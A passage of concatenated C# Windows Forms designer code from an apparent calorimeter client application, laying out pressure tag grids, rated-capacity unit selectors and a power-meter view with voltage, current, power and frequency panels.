this.pressureTagGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.pressureTagGridView});
//
// pressureTagGridView
//
this.pressureTagGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.FixedLine.Options.UseFont = true;
this.pressureTagGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureTagGridView.Appearance.FocusedCell.Options.UseFont = true;
this.pressureTagGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.FocusedRow.Options.UseFont = true;
this.pressureTagGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.pressureTagGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.pressureTagGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.OddRow.Options.UseFont = true;
this.pressureTagGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.Preview.Options.UseFont = true;
this.pressureTagGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.Row.Options.UseFont = true;
this.pressureTagGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.SelectedRow.Options.UseFont = true;
this.pressureTagGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.pressureTagGridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.pressureTagGridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.pressureTagGridDragDropEvents)))});
this.pressureTagGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pressureTagNameColumn});
this.pressureTagGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.pressureTagGridView.GridControl = this.pressureTagGrid;
this.pressureTagGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.pressureTagGridView.Name = "pressureTagGridView";
this.pressureTagGridView.OptionsBehavior.Editable = false;
this.pressureTagGridView.OptionsBehavior.ReadOnly = true;
this.pressureTagGridView.OptionsView.ColumnAutoWidth = false;
this.pressureTagGridView.OptionsView.ShowGroupPanel = false;
this.pressureTagGridView.OptionsView.ShowIndicator = false;
this.pressureTagGridView.Tag = 1;
this.pressureTagGridView.CustomDrawColumnHeader += new DevExpress.XtraGrid.Views.Grid.ColumnHeaderCustomDrawEventHandler(this.thermoTagGridView_CustomDrawColumnHeader);
//
// pressureTagNameColumn
//
this.pressureTagNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureTagNameColumn.AppearanceCell.Options.UseFont = true;
this.pressureTagNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.pressureTagNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.pressureTagNameColumn.AppearanceHeader.BackColor = System.Drawing.Color.PaleGoldenrod;
this.pressureTagNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureTagNameColumn.AppearanceHeader.Options.UseBackColor = true;
this.pressureTagNameColumn.AppearanceHeader.Options.UseFont = true;
this.pressureTagNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.pressureTagNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.pressureTagNameColumn.Caption = "Name Tags";
this.pressureTagNameColumn.FieldName = "Value";
this.pressureTagNameColumn.Name = "pressureTagNameColumn";
this.pressureTagNameColumn.OptionsColumn.AllowEdit = false;
this.pressureTagNameColumn.OptionsColumn.AllowFocus = false;
this.pressureTagNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pressureTagNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pressureTagNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pressureTagNameColumn.OptionsColumn.AllowMove = false;
this.pressureTagNameColumn.OptionsColumn.AllowShowHide = false;
this.pressureTagNameColumn.OptionsColumn.AllowSize = false;
this.pressureTagNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pressureTagNameColumn.OptionsColumn.FixedWidth = true;
this.pressureTagNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pressureTagNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pressureTagNameColumn.OptionsColumn.ReadOnly = true;
this.pressureTagNameColumn.OptionsColumn.TabStop = false;
this.pressureTagNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pressureTagNameColumn.OptionsFilter.AllowFilter = false;
this.pressureTagNameColumn.Visible = true;
this.pressureTagNameColumn.VisibleIndex = 0;
this.pressureTagNameColumn.Width = 194;
//
// pressureTitlePanel
//
this.pressureTitlePanel.BackColor = System.Drawing.Color.Gray;
this.pressureTitlePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.pressureTitlePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.pressureTitlePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pressureTitlePanel.ForeColor = System.Drawing.Color.White;
this.pressureTitlePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pressureTitlePanel.InnerColor2 = System.Drawing.Color.White;
this.pressureTitlePanel.Location = new System.Drawing.Point(6, 6);
this.pressureTitlePanel.Name = "pressureTitlePanel";
this.pressureTitlePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.pressureTitlePanel.OuterColor2 = System.Drawing.Color.White;
this.pressureTitlePanel.Size = new System.Drawing.Size(214, 28);
this.pressureTitlePanel.Spacing = 0;
this.pressureTitlePanel.TabIndex = 5;
this.pressureTitlePanel.Text = "PRESSURE";
this.pressureTitlePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.pressureTitlePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ratedUnitGroup
//
this.ratedUnitGroup.Controls.Add(this.methodCapaHeatingUnitCombo);
this.ratedUnitGroup.Controls.Add(this.label7);
this.ratedUnitGroup.Controls.Add(this.methodCapaCoolingUnitCombo);
this.ratedUnitGroup.Controls.Add(this.label202);
this.ratedUnitGroup.Location = new System.Drawing.Point(406, 486);
this.ratedUnitGroup.Name = "ratedUnitGroup";
this.ratedUnitGroup.Size = new System.Drawing.Size(234, 92);
this.ratedUnitGroup.TabIndex = 13;
this.ratedUnitGroup.TabStop = false;
this.ratedUnitGroup.Text = " Rated Capacity Unit ";
//
// methodCapaHeatingUnitCombo
//
this.methodCapaHeatingUnitCombo.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.methodCapaHeatingUnitCombo.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.methodCapaHeatingUnitCombo.FormattingEnabled = true;
this.methodCapaHeatingUnitCombo.ItemHeight = 15;
this.methodCapaHeatingUnitCombo.Location = new System.Drawing.Point(92, 56);
this.methodCapaHeatingUnitCombo.Name = "methodCapaHeatingUnitCombo";
this.methodCapaHeatingUnitCombo.Size = new System.Drawing.Size(136, 23);
this.methodCapaHeatingUnitCombo.TabIndex = 1;
this.methodCapaHeatingUnitCombo.SelectedValueChanged += new System.EventHandler(this.methodCapaHeatingUnitCombo_SelectedValueChanged);
//
// label7
//
this.label7.Location = new System.Drawing.Point(9, 56);
this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(76, 22);
this.label7.TabIndex = 93;
this.label7.Text = "Heating";
this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// methodCapaCoolingUnitCombo
//
this.methodCapaCoolingUnitCombo.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.methodCapaCoolingUnitCombo.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.methodCapaCoolingUnitCombo.FormattingEnabled = true;
this.methodCapaCoolingUnitCombo.ItemHeight = 15;
this.methodCapaCoolingUnitCombo.Location = new System.Drawing.Point(92, 26);
this.methodCapaCoolingUnitCombo.Name = "methodCapaCoolingUnitCombo";
this.methodCapaCoolingUnitCombo.Size = new System.Drawing.Size(136, 23);
this.methodCapaCoolingUnitCombo.TabIndex = 0;
this.methodCapaCoolingUnitCombo.SelectedValueChanged += new System.EventHandler(this.methodCapaCoolingUnitCombo_SelectedValueChanged);
//
// label202
//
this.label202.Location = new System.Drawing.Point(9, 26);
this.label202.Name = "label202";
this.label202.Size = new System.Drawing.Size(77, 22);
this.label202.TabIndex = 92;
this.label202.Text = "Cooling";
this.label202.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// thermo3GridDragDropEvents
//
this.thermo3GridDragDropEvents.DragOver += new DevExpress.Utils.DragDrop.DragOverEventHandler(this.thermo3GridDragDropEvents_DragOver);
this.thermo3GridDragDropEvents.DragDrop += new DevExpress.Utils.DragDrop.DragDropEventHandler(this.thermo3GridDragDropEvents_DragDrop);
//
// thermo2GridDragDropEvents
//
this.thermo2GridDragDropEvents.DragOver += new DevExpress.Utils.DragDrop.DragOverEventHandler(this.thermo2GridDragDropEvents_DragOver);
this.thermo2GridDragDropEvents.DragDrop += new DevExpress.Utils.DragDrop.DragDropEventHandler(this.thermo2GridDragDropEvents_DragDrop);
//
// thermo1GriddragDropEvents
//
this.thermo1GriddragDropEvents.DragOver += new DevExpress.Utils.DragDrop.DragOverEventHandler(this.thermo1GriddragDropEvents_DragOver);
this.thermo1GriddragDropEvents.DragDrop += new DevExpress.Utils.DragDrop.DragDropEventHandler(this.thermo1GriddragDropEvents_DragDrop);
//
// pressureGridDragDropEvents
//
this.pressureGridDragDropEvents.DragOver += new DevExpress.Utils.DragDrop.DragOverEventHandler(this.pressureGridDragDropEvents_DragOver);
this.pressureGridDragDropEvents.DragDrop += new DevExpress.Utils.DragDrop.DragDropEventHandler(this.pressureGridDragDropEvents_DragDrop);
//
// CtrlConfigCondition
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlConfigCondition";
this.Size = new System.Drawing.Size(1816, 915);
this.Load += new System.EventHandler(this.CtrlConfigCondition_Load);
this.Enter += new System.EventHandler(this.CtrlConfigCondition_Enter);
this.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.CtrlConfigCondition_KeyPress);
this.bgPanel.ResumeLayout(false);
this.ratedPanel.ResumeLayout(false);
this.ratedTab.ResumeLayout(false);
this.notePanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.noteSerial1Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel1Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteMakerEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteMemoEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteObserverEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteRefChargeEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteRefrigerantCombo.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteExpDeviceEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteSerial3Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel3Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteSerial2Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteModel2Edit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteTestNoEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteTestNameEdit.Properties)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.noteCompanyEdit.Properties)).EndInit();
this.menuPanel.ResumeLayout(false);
this.searchPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.conditionGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.conditionGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.makerEdit.Properties)).EndInit();
this.thermoPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.thermoTagGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermoTagGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo3Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo3GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo2Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo2GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo1Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.thermo1GridView)).EndInit();
this.pressurePanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.pressureGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pressureGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pressureTagGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pressureTagGridView)).EndInit();
this.ratedUnitGroup.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.gridBehavior)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel ratedPanel;
private System.Windows.Forms.TabControl ratedTab;
private System.Windows.Forms.TabPage ratedTotalPage;
private System.Windows.Forms.TabPage ratedID1Page;
private System.Windows.Forms.TabPage ratedID2Page;
private System.Windows.Forms.TabPage ratedID3Page;
private System.Windows.Forms.TabPage ratedID4Page;
private Ulee.Controls.UlPanel ratedTitlePanel;
private Ulee.Controls.UlPanel notePanel;
private System.Windows.Forms.Label label2;
public DevExpress.XtraEditors.TextEdit noteObserverEdit;
private System.Windows.Forms.Label noteObserverLabel;
private System.Windows.Forms.Label label21;
public DevExpress.XtraEditors.TextEdit noteRefChargeEdit;
private System.Windows.Forms.Label label20;
private System.Windows.Forms.Label label19;
private DevExpress.XtraEditors.ComboBoxEdit noteRefrigerantCombo;
public DevExpress.XtraEditors.TextEdit noteExpDeviceEdit;
private System.Windows.Forms.Label label18;
public DevExpress.XtraEditors.TextEdit noteSerial3Edit;
private System.Windows.Forms.Label label16;
public DevExpress.XtraEditors.TextEdit noteModel3Edit;
private System.Windows.Forms.Label label17;
public DevExpress.XtraEditors.TextEdit noteSerial2Edit;
private System.Windows.Forms.Label label12;
public DevExpress.XtraEditors.TextEdit noteModel2Edit;
private System.Windows.Forms.Label label13;
private System.Windows.Forms.Label label14;
private System.Windows.Forms.Label label15;
private System.Windows.Forms.Label label10;
public DevExpress.XtraEditors.TextEdit noteTestNoEdit;
private System.Windows.Forms.Label label11;
public DevExpress.XtraEditors.TextEdit noteTestNameEdit;
private System.Windows.Forms.Label label9;
public DevExpress.XtraEditors.TextEdit noteCompanyEdit;
private System.Windows.Forms.Label label8;
private Ulee.Controls.UlPanel noteTitlePanel;
private Ulee.Controls.UlPanel menuPanel;
private DevExpress.XtraEditors.SimpleButton saveButton;
private DevExpress.XtraEditors.SimpleButton cancelButton;
private Ulee.Controls.UlPanel searchPanel;
private DevExpress.XtraGrid.GridControl conditionGrid;
private DevExpress.XtraGrid.Views.Grid.GridView conditionGridView;
private DevExpress.XtraGrid.Columns.GridColumn cgMakerColumn;
private DevExpress.XtraGrid.Columns.GridColumn cgModel1Column;
private DevExpress.XtraGrid.Columns.GridColumn cgSerial1Column;
private System.Windows.Forms.Button searchButton;
public DevExpress.XtraEditors.TextEdit makerEdit;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.Button deleteButton;
private System.Windows.Forms.Button copyButton;
private System.Windows.Forms.Button modifyButton;
private System.Windows.Forms.Button newButton;
public DevExpress.XtraEditors.TextEdit noteMemoEdit;
private Ulee.Controls.UlPanel thermoPanel;
private DevExpress.XtraGrid.GridControl thermoTagGrid;
private DevExpress.XtraGrid.Views.Grid.GridView thermoTagGridView;
private DevExpress.XtraGrid.Columns.GridColumn thermoTagNameColumn;
private DevExpress.XtraGrid.GridControl thermo3Grid;
private DevExpress.XtraGrid.Views.Grid.GridView thermo3GridView;
private DevExpress.XtraGrid.Columns.GridColumn thermo3NoColumn;
private DevExpress.XtraGrid.Columns.GridColumn thermo3NameColumn;
private DevExpress.XtraGrid.GridControl thermo2Grid;
private DevExpress.XtraGrid.Views.Grid.GridView thermo2GridView;
private DevExpress.XtraGrid.Columns.GridColumn thermo2NoColumn;
private DevExpress.XtraGrid.Columns.GridColumn thermo2NameColumn;
private DevExpress.XtraGrid.GridControl thermo1Grid;
private DevExpress.XtraGrid.Views.Grid.GridView thermo1GridView;
private DevExpress.XtraGrid.Columns.GridColumn thermo1NoColumn;
private DevExpress.XtraGrid.Columns.GridColumn thermo1NameColumn;
private Ulee.Controls.UlPanel thermoTitlePanel;
private Ulee.Controls.UlPanel pressurePanel;
private DevExpress.XtraGrid.GridControl pressureGrid;
private DevExpress.XtraGrid.Views.Grid.GridView pressureGridView;
private DevExpress.XtraGrid.Columns.GridColumn pressureNoColumn;
private DevExpress.XtraGrid.Columns.GridColumn pressureNameColumn;
private DevExpress.XtraGrid.GridControl pressureTagGrid;
private DevExpress.XtraGrid.Views.Grid.GridView pressureTagGridView;
private DevExpress.XtraGrid.Columns.GridColumn pressureTagNameColumn;
private Ulee.Controls.UlPanel pressureTitlePanel;
private System.Windows.Forms.GroupBox ratedUnitGroup;
private System.Windows.Forms.ComboBox methodCapaHeatingUnitCombo;
private System.Windows.Forms.Label label7;
private System.Windows.Forms.ComboBox methodCapaCoolingUnitCombo;
private System.Windows.Forms.Label label202;
public DevExpress.XtraEditors.TextEdit noteSerial1Edit;
public DevExpress.XtraEditors.TextEdit noteModel1Edit;
public DevExpress.XtraEditors.TextEdit noteMakerEdit;
private DevExpress.Utils.Behaviors.BehaviorManager gridBehavior;
private DevExpress.Utils.DragDrop.DragDropEvents thermo1GriddragDropEvents;
private DevExpress.Utils.DragDrop.DragDropEvents thermo3GridDragDropEvents;
private DevExpress.Utils.DragDrop.DragDropEvents thermo2GridDragDropEvents;
private DevExpress.Utils.DragDrop.DragDropEvents thermoTagGridDragDropEvents1;
private DevExpress.Utils.DragDrop.DragDropEvents pressureGridDragDropEvents;
private DevExpress.Utils.DragDrop.DragDropEvents pressureTagGridDragDropEvents;
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlPowerMeterView
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.titleEdit = new Ulee.Controls.UlPanel();
this.ulPanel2 = new Ulee.Controls.UlPanel();
this.ulPanel3 = new Ulee.Controls.UlPanel();
this.ulPanel4 = new Ulee.Controls.UlPanel();
this.ulPanel5 = new Ulee.Controls.UlPanel();
this.voltREdit = new Ulee.Controls.UlPanel();
this.voltSEdit = new Ulee.Controls.UlPanel();
this.voltTEdit = new Ulee.Controls.UlPanel();
this.voltSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel11 = new Ulee.Controls.UlPanel();
this.ulPanel1 = new Ulee.Controls.UlPanel();
this.powerREdit = new Ulee.Controls.UlPanel();
this.powerSEdit = new Ulee.Controls.UlPanel();
this.powerTEdit = new Ulee.Controls.UlPanel();
this.powerSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel16 = new Ulee.Controls.UlPanel();
this.ulPanel24 = new Ulee.Controls.UlPanel();
this.currentREdit = new Ulee.Controls.UlPanel();
this.currentSEdit = new Ulee.Controls.UlPanel();
this.currentTEdit = new Ulee.Controls.UlPanel();
this.currentSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel21 = new Ulee.Controls.UlPanel();
this.ulPanel23 = new Ulee.Controls.UlPanel();
this.integTimeEdit = new Ulee.Controls.UlPanel();
this.ulPanel26 = new Ulee.Controls.UlPanel();
this.ulPanel44 = new Ulee.Controls.UlPanel();
this.whREdit = new Ulee.Controls.UlPanel();
this.whSEdit = new Ulee.Controls.UlPanel();
this.whTEdit = new Ulee.Controls.UlPanel();
this.whSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel31 = new Ulee.Controls.UlPanel();
this.ulPanel43 = new Ulee.Controls.UlPanel();
this.pfREdit = new Ulee.Controls.UlPanel();
this.pfSEdit = new Ulee.Controls.UlPanel();
this.pfTEdit = new Ulee.Controls.UlPanel();
this.pfSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel36 = new Ulee.Controls.UlPanel();
this.ulPanel42 = new Ulee.Controls.UlPanel();
this.hzREdit = new Ulee.Controls.UlPanel();
this.hzSEdit = new Ulee.Controls.UlPanel();
this.hzTEdit = new Ulee.Controls.UlPanel();
this.hzSigmaEdit = new Ulee.Controls.UlPanel();
this.ulPanel41 = new Ulee.Controls.UlPanel();
this.ulPanel25 = new Ulee.Controls.UlPanel();
this.ulPanel45 = new Ulee.Controls.UlPanel();
this.bgPanel.SuspendLayout();
this.ulPanel11.SuspendLayout();
this.ulPanel16.SuspendLayout();
this.ulPanel21.SuspendLayout();
this.ulPanel26.SuspendLayout();
this.ulPanel31.SuspendLayout();
this.ulPanel36.SuspendLayout();
this.ulPanel41.SuspendLayout();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.bgPanel.Controls.Add(this.ulPanel45);
this.bgPanel.Controls.Add(this.integTimeEdit);
this.bgPanel.Controls.Add(this.ulPanel26);
this.bgPanel.Controls.Add(this.whREdit);
this.bgPanel.Controls.Add(this.whSEdit);
this.bgPanel.Controls.Add(this.whTEdit);
this.bgPanel.Controls.Add(this.whSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel31);
this.bgPanel.Controls.Add(this.pfREdit);
this.bgPanel.Controls.Add(this.pfSEdit);
this.bgPanel.Controls.Add(this.pfTEdit);
this.bgPanel.Controls.Add(this.pfSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel36);
this.bgPanel.Controls.Add(this.hzREdit);
this.bgPanel.Controls.Add(this.hzSEdit);
this.bgPanel.Controls.Add(this.hzTEdit);
this.bgPanel.Controls.Add(this.hzSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel41);
this.bgPanel.Controls.Add(this.powerREdit);
this.bgPanel.Controls.Add(this.powerSEdit);
this.bgPanel.Controls.Add(this.powerTEdit);
this.bgPanel.Controls.Add(this.powerSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel16);
this.bgPanel.Controls.Add(this.currentREdit);
this.bgPanel.Controls.Add(this.currentSEdit);
this.bgPanel.Controls.Add(this.currentTEdit);
this.bgPanel.Controls.Add(this.currentSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel21);
this.bgPanel.Controls.Add(this.voltREdit);
this.bgPanel.Controls.Add(this.voltSEdit);
this.bgPanel.Controls.Add(this.voltTEdit);
this.bgPanel.Controls.Add(this.voltSigmaEdit);
this.bgPanel.Controls.Add(this.ulPanel11);
this.bgPanel.Controls.Add(this.ulPanel4);
this.bgPanel.Controls.Add(this.ulPanel5);
this.bgPanel.Controls.Add(this.ulPanel3);
this.bgPanel.Controls.Add(this.ulPanel2);
this.bgPanel.Controls.Add(this.titleEdit);
this.bgPanel.Size = new System.Drawing.Size(449, 454);
//
// titleEdit
//
this.titleEdit.BackColor = System.Drawing.Color.DeepSkyBlue;
this.titleEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.titleEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.titleEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.titleEdit.ForeColor = System.Drawing.Color.White;
this.titleEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.titleEdit.InnerColor2 = System.Drawing.Color.White;
this.titleEdit.Location = new System.Drawing.Point(6, 6);
this.titleEdit.Name = "titleEdit";
this.titleEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.titleEdit.OuterColor2 = System.Drawing.Color.White;
this.titleEdit.Size = new System.Drawing.Size(437, 28);
this.titleEdit.Spacing = 0;
this.titleEdit.TabIndex = 6;
this.titleEdit.Text = "POWER METER";
this.titleEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.titleEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel2
//
this.ulPanel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel2.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel2.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel2.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel2.ForeColor = System.Drawing.Color.White;
this.ulPanel2.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.InnerColor2 = System.Drawing.Color.White;
this.ulPanel2.Location = new System.Drawing.Point(288, 40);
this.ulPanel2.Name = "ulPanel2";
this.ulPanel2.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.OuterColor2 = System.Drawing.Color.White;
this.ulPanel2.Size = new System.Drawing.Size(90, 42);
this.ulPanel2.Spacing = 0;
this.ulPanel2.TabIndex = 8;
this.ulPanel2.Text = "Sigma";
this.ulPanel2.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel2.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel3
//
this.ulPanel3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel3.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel3.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel3.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel3.ForeColor = System.Drawing.Color.White;
this.ulPanel3.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.InnerColor2 = System.Drawing.Color.White;
this.ulPanel3.Location = new System.Drawing.Point(194, 40);
this.ulPanel3.Name = "ulPanel3";
this.ulPanel3.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.OuterColor2 = System.Drawing.Color.White;
this.ulPanel3.Size = new System.Drawing.Size(90, 42);
this.ulPanel3.Spacing = 0;
this.ulPanel3.TabIndex = 9;
this.ulPanel3.Text = "T";
this.ulPanel3.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel3.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel4
//
this.ulPanel4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel4.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel4.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel4.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel4.ForeColor = System.Drawing.Color.White;
this.ulPanel4.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.InnerColor2 = System.Drawing.Color.White;
this.ulPanel4.Location = new System.Drawing.Point(6, 40);
this.ulPanel4.Name = "ulPanel4";
